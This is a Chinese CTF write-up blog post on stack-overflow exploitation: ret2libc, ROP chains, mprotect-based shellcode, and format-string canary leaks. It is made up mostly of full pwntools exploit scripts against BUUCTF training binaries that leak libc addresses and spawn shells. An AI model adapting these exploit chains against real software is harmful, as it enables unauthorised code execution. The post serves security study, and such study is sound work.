栈溢出

栈溢出

ret2libc,fmtstr

# 一。基础知识补充

  1. 指令指针寄存器,是存放下次将要执行的指令在代码段的偏移量,RIP、EIP、IP (Instruction Pointer) 分别为 64 位、32 位、16 位指令指针寄存器

  2. 以 64 位程序为例:

    在执行 call 指令的时候,会向栈中压入 call 指令完成后下一条指令的地址,之后跳转到被调用的函数开始执行

    push rbp ; 将父函数栈底压入栈中
    mov rbp, rsp ; 将父函数栈顶变为子函数栈底
    sub rsp, 0x70 ; 向低地址处为子函数开辟栈帧

    在函数调用结束的时候,程序会执行这两条指令
    leave 指令相当于执行了如下两条指令
    mov esp ebp
    pop ebp

    ret 指令则可以理解为将栈中的返回地址 pop 给 rip 的操作,从而回到父函数继续执行

# 二. ret2text

栈溢出函数:strcpy

程序本身存在 fflush 函数,我们可以直接用它的 sh 来当作 system 的参数

# 三. ret2libc

# 泄露 libc 利用思路:

  1. 利用 write 函数来泄露程序的 libc 版本
  2. 知道 libc 版本后去计算程序里的 system 函数和字符串 “/bin/sh” 的地址
  3. 覆盖返回地址为 system(‘/bin/sh’),获取 shell

# 例题:2018_rop

在这里插入图片描述

1:

1
2
3
4
5
payload='a'*(0x88+4)+p32(write_plt)+p32(main)+p32(0)+p32(write_got)+p32(4)
r.sendline(payload)
write_addr=u32(r.recv(4)) # 获取write函数地址
libc=LibcSearcher('write',write_addr)

首先填充‘a’*(0x88+4)造成溢出,覆盖到返回地址,返回地址填上 write 函数的 plt 地址来调用 write 函数,之后跟上 main 函数地址(我们要将程序程序重新执行一遍,再次利用输入点来进构造 rop)
p32(0)+p32 (write_addr)+p32 (4) 是在设置 write 函数的参数,对应函数原型看一下,32 位程序是 4 位,所以这边写的 4,对应的 64 位程序是 8 位。

2:

1
2
3
4
offset=write_addr-libc.dump('write')     #计算偏移量
#偏移量=程序里的函数地址-libc里的函数地址
system_addr=offset+libc.dump('system')
bin_sh=offset+libc.dump('str_bin_sh')

3:

构造 rop 获取 shell

1
payload='a'*(0x88+4)+p32(system_addr)+p32(0)+p32(bin_sh)

完整 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
from LibcSearcher import *

r=remote('node3.buuoj.cn',27043)
elf=ELF('./2018_rop')

write_plt=elf.plt['write']
write_got=elf.got['write']
main=elf.sym['main']

payload='a'*(0x88+4)+p32(write_plt)+p32(main)+p32(0)+p32(write_got)+p32(4)
r.sendline(payload)
write_addr=u32(r.recv(4))


libc=LibcSearcher('write',write_addr)
offset=write_addr-libc.dump('write')

system_addr=offset+libc.dump('system')
bin_sh=offset+libc.dump('str_bin_sh')

payload='a'*(0x88+4)+p32(system_addr)+p32(0)+p32(bin_sh)

r.sendline(payload)
r.interactive()

但是我在这么写的时候出现了 timeout: the monitored command dumped core , 尝试泄露 read 函数的真实地址,再调用 read 函数来找到偏移。(后来找到问题有:payload 的顺序错误也会导致 timeout 和找不到 libc,timeout 对应 payload: 填充 + got 表 + plt 表 + main,找不到 libc 对应 payload: 填充 + pop_rdi_ret+binsh_system, 对应 64 位栈溢出,32 位和 64 位不同)

64 位查找 pop_rdi:

1
ROPgadget --binary bjdctf_2020_babyrop |grep "pop rdi"

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
from LibcSearcher import *
elf = ELF("./2018_rop")
p = remote("node3.buuoj.cn",28628)
read_plt = elf.plt['read']
read_got = elf.got['read']
write_plt = elf.plt['write']
main_addr = 0x080484C6
payload = 'a' * (0x88 + 0x4)
payload += p32(write_plt) + p32(main_addr)
payload += p32(1) + p32(read_got) + p32(8)
p.sendline(payload)
read_addr = u32(p.recv(4))
print hex(read_addr)
libc = LibcSearcher("read", read_addr)
libc_base = read_addr - libc.dump("read")
sys_addr = libc_base + libc.dump("system")
binsh = libc_base + libc.dump("str_bin_sh")
payload = 'a' * (0x88 + 0x4)
payload += p32(sys_addr) + p32(0) + p32(binsh)
p.sendline(payload)
p.interactive()

LibcSearcher 使用方法:将 exp 放在 libcsearcher 的安装目录下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# coding:utf-8
from pwn import*
from LibcSearcher import*
p=remote('node3.buuoj.cn','25295')
elf=ELF('./1')
main=0x400b28
rdi=0x400c83
ret=0x4006b9
pus_plt=elf.plt['puts']
puts_got=elf.got['puts']
p.sendlineafter('Input your choice!\n','1')
payload='\0'+'a'*(0x50-1+8)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
p.sendlineafter('Input your Plaintext to be encrypted\n',payload)
p.recvline()
p.recvline()    #接收 encrypt 的两个 puts函数输出;
puts_addr=u64(p.recvuntil('\n')[:-1].ljust(8,'\0')) #得到 puts 函数 的地址;
libc=LibcSearcher("puts",puts_addr) # 得到 libc的版本;
libc_base=puts_addr-libc.dump("puts") # 得到偏移地址
sys_addr=libc_base+libc.dump("system") # 利用偏移地址 得到 system函数的地址
binsh=libc_base+libc.dump("str_bin_sh") # 得到 bin/sh 的 地址
p.sendlineafter('choice!\n','1') # 再一次执行 一遍流程
payload='\0'+'a'*(0x50-1+8)+p64(ret)+p64(rdi)+p64(binsh)+p64(sys_addr)
p.sendlineafter('encrypted\n',payload)
p.interactive()

plt 表 -》got 表

image-20211117095319554

# 四。利用 mprotect 修改内存权限

mprotect 函数,可以用它来修改我们,内存栈的权限,让它可读可写可执行,进而修改内存权限。

# ROPgadget 使用

例题:not_the_same_3dsctf_2016

利用 mprotect 函数修改 bss 段为 0x70b111 ,可读可写可执行权限,然后利用 read 函数读入 shellcode,最后跳转到 shellcode 的位置

1
ROPgadget --binary not_the_same_3dsctf_2016--only "pop|ret"|grep pop

需要利用 ret 指令控制程序,所以这里需要借助用来设置三个参数的三个寄存器命令,p3_ret=0x806fcc8

ctrl+s 调出程序的段表,将.got.plt 段改为可读可写可执行,addr=0x80eb000

将返回地址填写成 read 函数,设置 read 函数的参数,之后将返回地址改为我们修改为可读可写可执行的地址,最后读入 shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# mprotect函数的利用,将目标地址:.got.plt或.bss段 修改为可读可写可执行
int mprotect(const void *start, size_t len, int prot);
argu1 为mprotect函数的第一个参数 (被修改内存的地址) 设置为 0x0x80EB000 (ida-ctrl+s 查看.got.plt/.bss起始地址)
argu2 为mprotect函数的第二个参数 (被修改内存的大小) 设置为 0x1000 (0x1000通过程序启动时查看该内存块的大小的到的)
argu3 为mprotect函数的第三个参数 (被修改内存的权限) 设置为 7 = 4 + 2 +1 (rwx)

elf = ELF('./pwn')
# ROPgadget --binary get_started_3dsctf_2016 --only 'pop|ret' | grep pop
pop3_addr = 0x0806fcc8 # pop esi ; pop ebx ; pop edx ; ret
payload = 0x2D * 'a' + 0x4 * 'b' + p32(elf.symbols['mprotect'])
payload += p32(pop3_addr) # 返回地址覆盖为pop3,目的为了栈还原,因为mprotect传入了三个参数,需要连续3个pop
payload += p32(argu1) + p32(argu2) + p32(argu3)

# 紧接着返回地址为 read对修改的目标地址写入shellcode
payload += p32(elf.symbols['read'])
payload += p32(pop3_addr) # 同样栈还原,为了执行紧接着的 目标地址
payload += p32(0) + p32(argu1) + p32(0x100)
# read写完后 写入执行的目标地址
payload += p32(argu1)
# 先进行sendline执行到read等待输入
sh.sendline(payload)
# 继续sendline发送shellcode
sh.sendline(asm(shellcraft.sh(), arch = 'i386', os = 'linux'))
# 进入交互模式
sh.interactive()

完整 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#coding:utf-8
from pwn import*

context.log_level = 'debug'
context(arch='i386', os='linux')

local = 0
proc_name = './not_the_same_3dsctf_2016'
elf = ELF(proc_name)

# 这道题本地和远程两种解法,真的干。。。
if local:
sh = process(proc_name)
str_flag_addr = 0x080ECA2D
backdoor_addr = 0x080489A0
printf_addr = 0x0804F0A0

payload = 0x2D * 'a' # 这边不用覆盖ebp,在于get_flag并没有push ebp
payload += p32(backdoor_addr) + p32(printf_addr)
payload += p32(str_flag_addr)
sh.sendline(payload)
else:
sh = remote('node3.buuoj.cn', 28308)
mprotect_addr = elf.symbols['mprotect']
read_addr = elf.symbols['read']
pop3_edi_esi_ebx_ret = 0x0806fcc8
mem_addr = 0x080EB000 #.got.plt 的起始地址
mem_size = 0x1000
mem_type = 0x7 # 可执行权限

payload = 0x2D * 'a'
payload += p32(mprotect_addr)
payload += p32(pop3_edi_esi_ebx_ret)
payload += p32(mem_addr) + p32(mem_size) + p32(mem_type)
payload += p32(read_addr)
payload += p32(pop3_edi_esi_ebx_ret)
payload += p32(0) + p32(mem_addr) + p32(0x100)
payload += p32(mem_addr) #将read函数的返回地址设置到我们修改的内存的地址,之后我们要往里面写入shellcode
sh.sendline(payload)
# read写入shellcode
payload = asm(shellcraft.sh())
sh.sendline(payload)

sh.interactive()

# 五. 32 位,64 位栈溢出对比

32 位的函数在调用栈的时候是:

   调用函数地址(父函数的栈底地址)->函数的返回地址->参数n->参数n-1....->参数1

由于在函数调用前通过 push 指令向栈中压入了数据,使得栈顶朝低地址偏移了所以在函数调用结束以后,要有恢复栈顶的过程:将通过 add esp 0x10 这条指令,即增加 esp 来恢复函数调用前的 esp。

image-20211014161530117

image-20211014161545492

64 位的函数在调用栈的时候是:

   前六个参数按照约定存储在寄存器:rdi,rsi,rdx,rcx,r8,r9中。

   参数超过六个的时候,第七个会压入栈中,并且先输入函数的返回地址,然后是函数的参数,之后才是函数的调用地址

image-20211014161246387

# 六。覆盖相关变量

  1. ebp

  2. ret_addr

  3. 虚函数指针

    ​ 子类对父类的继承
    ​ 能够对函数进行重写
    ​ 由虚函数表来进行操作

  4. SEH 链

    ​ SEH 结构 结构 在栈中存在的 地方 ,在 在 ret_addr 和栈中数据之间 和栈中数据之间,这就导致了对于栈的安全防护 手段 , 难以防护针对 防护针对 SEH 链的攻击

  5. Hook 中的变量

    利用方法介绍
     有些系统函数有预先定义好的钩子
     修改钩子链表中存储的子程序指针
    影响钩子运行

  6. fgets 的用法的时候,发现它能够避免造成溢出

  7. 程序自带的 system 函数地址

  8. timeout: the monitored command dumped core 解决

    1) 在 payload 后面加几个 ret 地址,或者加一个假的 0xdeadbeef

    1
    p = flat(['a'*0x10, 'b'*8, pop_di, bin_sh_addr, system, 0xdeadbeef])

    2) 直接用系统函数的地址

    # 七. BUUCTF 例题

    # 1. JarvisOJ level4

    # 知识点

    参考文章:借助 DynELF 实现无 libc 的漏洞利用小结

    pwntools 中 DynELF 函数使用 (针对未给出 libc 文件)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    def leak(address):
    payload=pad+p32(writeplt)+ret1+p32(1)+p32(address)+p32(4)
    io.sendline(payload)
    leak_sysaddr=io.recv(4)
    #print "%#x => %s" % (address, (leak_sysaddr or '').encode('hex')) 这里是测试用,可省略。
    return leak_sysaddr
    d = DynELF(leak, elf=ELF("对应文件"))
    sysaddr=d.lookup("system","libc")

    pad 为填充,ret1 为有效的返回地址

    # WP

    image-20211116101807208

    开了 NX 保护(堆栈不可执行)

    image-20211116104613084

    image-20211116104635203

    利用 DynELF 泄露 system 地址,通过 read 函数写入 /bin/sh 到 bss 段

    exp:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    from pwn import *
    conn=process('./level4')
    e=ELF('./level4')
    pad=0x88
    write_plt=e.plt['write']
    vul_addr=0x804844b
    bss_addr=0x0804a024
    def leak(address):
    payload1='a'*0x8c+p32(write_plt)+p32(vul_addr)+p32(1)+p32(address)+p32(4)
    conn.sendline(payload1)
    data=conn.recv(4)
    return data
    d=DynELF(leak,elf=e)
    system_addr=d.lookup('system','libc')
    print hex(system_addr)
    read_plt=e.plt['read']
    payload2='a'*0x8c+p32(read_plt)+p32(vul_addr)+p32(0)+p32(bss_addr)+p32(8)
    conn.sendline(payload2)
    conn.send("/bin/sh")
    payload3="a"*0x8c+p32(system_addr)+p32(0xdeadbeef)+p32(bss_addr)
    conn.sendline(payload3)
    conn.interactive()


    常规解法:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    #coding=utf-8
    from pwn import *
    from LibcSearcher import *

    context(os = "linux", arch = "i386", log_level= "debug")
    p = remote("node4.buuoj.cn", 25934)
    elf = ELF("./level4")

    read_got = elf.got["read"]
    write_plt = elf.plt["write"]
    main_addr = elf.symbols["main"]

    payload = "a" * 0x8c + p32(write_plt)
    payload += p32(main_addr)
    payload += p32(1) + p32(read_got) + p32(4)
    p.sendline(payload)

    read_addr = u32(p.recvuntil("\xf7")[-4:])
    libc = LibcSearcher("read", read_addr)
    libc_base = read_addr - libc.dump("read")
    system_addr = libc_base + libc.dump("system")
    binsh_addr = libc_base + libc.dump("str_bin_sh")

    payload = "a" * 0x8c + p32(system_addr)
    payload += p32(main_addr)
    payload += p32(binsh_addr)
    p.sendline(payload)

    p.interactive()

    # jarvisoj_level3_x64

    64 位 ret2libc(no canary found)

    checksec

    image-20211117093331127

    image-20211117093259888

    image-20211117093412861

    1. 泄露 libc

      64 位汇编传参,当参数少于 7 个时, 参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9。
      当参数为 7 个以上时, 前 6 个与前面一样, 但后面的依次从 “右向左” 放入栈中,即和 32 位汇编一样。
      我们这边要利用 write 函数去泄露 libc 版本
      write 函数的原型,它有三个参数,所以我们这边需要用到三个寄存器去传参

      1
      2
      3
      4
      5
      6
      ssize_t write(int fd,const void*buf,size_t count);
      参数说明:
      fd:是文件描述符(write所对应的是写,即就是1
      buf:通常是一个字符串,需要写入的字符串
      count:是每次写入的字节数

    利用 ROPgadget 寻找 rdi,rsi 寄存器地址

    image-20211117094445688

    WP:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    from pwn import *
    from LibcSearcher import *

    r=remote('node4.buuoj.cn',26919)
    # r = process('./level3_x64')
    context(os = "linux", arch = "amd64", log_level= "debug")

    elf=ELF('./level3_x64')

    #libc=ELF('./libc-2.19.so')

    write_plt=elf.plt['write']
    write_got=elf.got['write']
    main=0x40061A

    rdi=0x4006b3
    rsi_r15=0x4006b1

    payload='a'*(0x80+8)+p64(rdi)+p64(1) #rdi寄存器设置write函数的第一个参数为‘1’
    payload+=p64(rsi_r15)+p64(write_got)+p64(8) #rsi寄存器设置write函数的第二个参数为write_got表的地址,r15寄存器设置write函数的第三个参数为8
    payload+=p64(write_plt) #去调用write函数
    payload+=p64(main) #控制程序流,回到main函数,继续控制

    r.sendlineafter('Input:',payload)

    write_addr=u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
    #write_addr=u64(r.recvuntil('\n')[:-1].ljust(8,'\0'))


    print hex(write_addr)

    libc=LibcSearcher('write',write_addr)
    libc_base=write_addr-libc.dump('write')
    system_addr=libc_base+libc.dump('system')
    binsh=libc_base+libc.dump('str_bin_sh')

    payload='a'*(0x80+8)+p64(rdi)+p64(binsh)+p64(system_addr)

    r.sendlineafter('Input:',payload)

    r.interactive()

    # bjdctf_2020_babyrop2

    image-20211117103202380

    程序结构

    image-20211117103343882

    init()

    image-20211117103404402

    gift()

    image-20211117103423993

    vuln()

    image-20211117103501439

    在 gift 函数处存在格式化字符串漏洞,可以用来泄露 libc

    在 vuln 函数处存在 buf 溢出漏洞,绕过 canary 就可以利用 ret2libc 来获取 shell

    1. 泄露 canary 值

      输入 %n$p 来找偏移,n 为偏移量, $p 定位到偏移处, %p 以 16 进制输出

    image-20211117104417028

    1. 找到一个 nop 指令下断点查看栈的情况

      image-20211117105719634

    2. 可以看到 6161 下面有一串 16 进制数,这个就是 canary 值,利用 %7$p 就可以泄露它的值,而且看到它在栈的位置是 0x18

      image-20211117105745656

      泄露 canary:

      1
      2
      3
      4
      payload = '%7$p'
      p.sendline(payload)
      p.recvuntil('0x')
      canary = int(p.recv(16),16)

      另外 pwngbd 提供了一种方便的函数 fmtarg,使用格式为 fmtarg addr。在进入 printf 函数时断下,调用 fmtarg 后可以自动计算格式化参数与 addr 的偏移。fmtarg 在计算 index 时将 RDI 也算了进去,后面会自动减一作为 %$p 的参数:

      在这里插入图片描述

      1. 利用 puts 函数泄露 libc,puts 函数只有一个参数,64 位传参,利用 rdi 寄存器即可,ROPgadget 找 rdi

      image-20211117110117854

    exp:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    from pwn import *
    from LibcSearcher import *

    # p = process('./bjdctf_2020_babyrop2')
    p = remote('node4.buuoj.cn',25998)
    elf = ELF('./bjdctf_2020_babyrop2')
    context.log_level = 'debug'

    payload = '%7$p'
    p.sendline(payload)
    p.recvuntil('0x')
    canary = int(p.recv(16),16)
    print str(canary)

    puts_plt = elf.plt['puts']
    puts_got = elf.got['puts']
    pop_rdi = 0x400993
    main_addr = elf.sym['main']
    vul_addr = 0x400887

    payload = 'a'*0x18+p64(canary)
    payload += p64(0)
    payload +=p64(pop_rdi)
    payload +=p64(puts_got)
    payload +=p64(puts_plt)+p64(vul_addr)

    p.recvuntil('story!\n')
    p.sendline(payload)
    puts_addr = u64(p.recv(6).ljust(8,'\x00'))
    print hex(puts_addr)

    libc = LibcSearcher('puts',puts_addr)
    base = puts_addr-libc.dump('puts')
    sys_addr = base+libc.dump('system')
    binsh = base+libc.dump('str_bin_sh')

    p.recvuntil('story!\n')

    payload ='a'*0x18+p64(canary)+p64(0)+p64(pop_rdi)+p64(binsh)+p64(sys_addr)

    payload +=p64(main_addr)

    p.sendline(payload)
    p.interactive()

printf 泄露真实地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *
from LibcSearcher import LibcSearcher
#p=process('./babyrop2')
p=remote('node3.buuoj.cn',25002)
elf=ELF('./babyrop2')

read_got=elf.got['read']
printf_plt=elf.plt['printf']
main_addr=elf.sym['main']
format_addr=0x400770
"""
0x000000000040072c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040072e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400730 : pop r14 ; pop r15 ; ret
0x0000000000400732 : pop r15 ; ret
0x000000000040072b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040072f : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004005a0 : pop rbp ; ret
0x0000000000400733 : pop rdi ; ret
0x0000000000400731 : pop rsi ; pop r15 ; ret
0x000000000040072d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004004d1 : ret
0x0000000000400532 : ret 0x200a

"""
payload='a'*40+p64(0x400733)+p64(format_addr)+p64(0x400731)+p64(read_got)+p64(0)
payload+=p64(printf_plt)+p64(main_addr)
p.sendlineafter("name?",payload)
p.recvuntil('!\n')
read_addr=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
libc=LibcSearcher("read",read_addr)
libc_base=read_addr-libc.dump('read')
sys_addr=libc_base+libc.dump("system")
binsh_addr=libc_base+libc.dump("str_bin_sh")
payload2='a'*40+p64(0x400733)+p64(binsh_addr)+p64(sys_addr)+p64(0)
p.sendline(payload2)
p.interactive()

# pwn2_sctf_2016

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
from LibcSearcher import *

#p = process('./pwn')
p = remote('node3.buuoj.cn',29130)
elf = ELF('./pwn')
format_str = 0x080486F8
printf_plt = elf.plt['printf']
main_addr = elf.symbols['main']
printf_got = elf.got['printf']

p.recvuntil('read? ')
p.sendline('-1')
p.recvuntil('data!\n')
payload = 'a'*0x30 + p32(printf_plt)+p32(main_addr)+p32(format_str)+p32(printf_got)
p.sendline(payload)

p.recvuntil('said: ')#这是程序正常输出的
p.recvuntil('said: ')#这是printf的那个格式化字符串
printf_addr = u32(p.recv(4))
libc = LibcSearcher('printf', printf_addr)
libc_base = printf_addr - libc.dump('printf')
sys_addr = libc_base + libc.dump('system')
str_bin = libc_base + libc.dump('str_bin_sh')

p.recvuntil('read? ')
p.sendline('-1')
p.recvuntil('data!\n')
p.sendline('a'*0x30 + p32(sys_addr) + p32(main_addr) + p32(str_bin))
p.interactive()
#复制自https://blog.csdn.net/qinying001/article/details/104374305
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33


#coding=utf-8
from pwn import *
from LibcSearcher import *

context(os = "linux", arch = "i386", log_level= "debug")
p = process('./test1')
elf = ELF("./test1")
libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')

read_got = elf.got["read"]
write_plt = elf.plt["write"]
main_addr = elf.symbols["main"]

payload = "a" *(0xC8+4) + p32(write_plt)
payload += p32(main_addr)
payload += p32(1) + p32(read_got) + p32(4)
p.sendlineafter('Welcome!\n',payload)

read_addr = u32(p.recvuntil("\xf7")[-4:])
# libc = LibcSearcher("read", read_addr)
libc_base = read_addr - libc.dump("read")
system_addr = libc_base + libc.dump("system")
binsh_addr = libc_base + libc.dump("str_bin_sh")

payload = "a" * (0xC8+4) + p32(system_addr)
payload += p32(main_addr)
payload += p32(binsh_addr)
p.sendlineafter('Welcome!\n',payload)

p.interactive()

Author

y1seco

Posted on

2021-11-16

Updated on

2021-12-25

Licensed under

Comments

:D 一言句子获取中...